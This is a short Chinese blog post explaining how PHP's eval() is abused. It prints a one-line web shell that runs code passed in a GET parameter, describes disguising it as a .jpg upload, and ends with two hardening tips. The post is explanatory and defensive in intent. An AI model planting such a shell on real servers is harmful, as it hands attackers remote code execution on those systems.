天问

php eval()滥用

eval()可以将()内字符串当作php代码来执行.

eval() 这个一般用在代码加密场景:

核心php代码不希望公开,于是使用一些加密算法(很多网站提供php加密算法)对代码加密,加密后就是一堆乱码,怎么执行加密的代码呢?就需要解密成php字符串,然后调用eval() 执行字符串内容。

那么eval()就会被滥用,比如下面病毒语句:

<?php eval( $_GET[‘hack’] ); ?>

病毒伪装成一张图片:123.jpg。上传到服务器,然后访问这个图片,同时带上GET参数,里面写上攻击的代码,比如phpinfo()。可以查看服务器配置,比如php写文件,php操作数据库等等。

那么怎么预防呢?

(1)首先就是只对php后缀的文件有执行权限,.jpg等文件无执行权限。

(2)web服务器使用www等权限较低的用户执行,防止黑客获取root权限。

 

博客地址:http://blog.yoqi.me/?p=2990
扫我捐助哦
喜欢 9532

这篇文章还没有评论

发表评论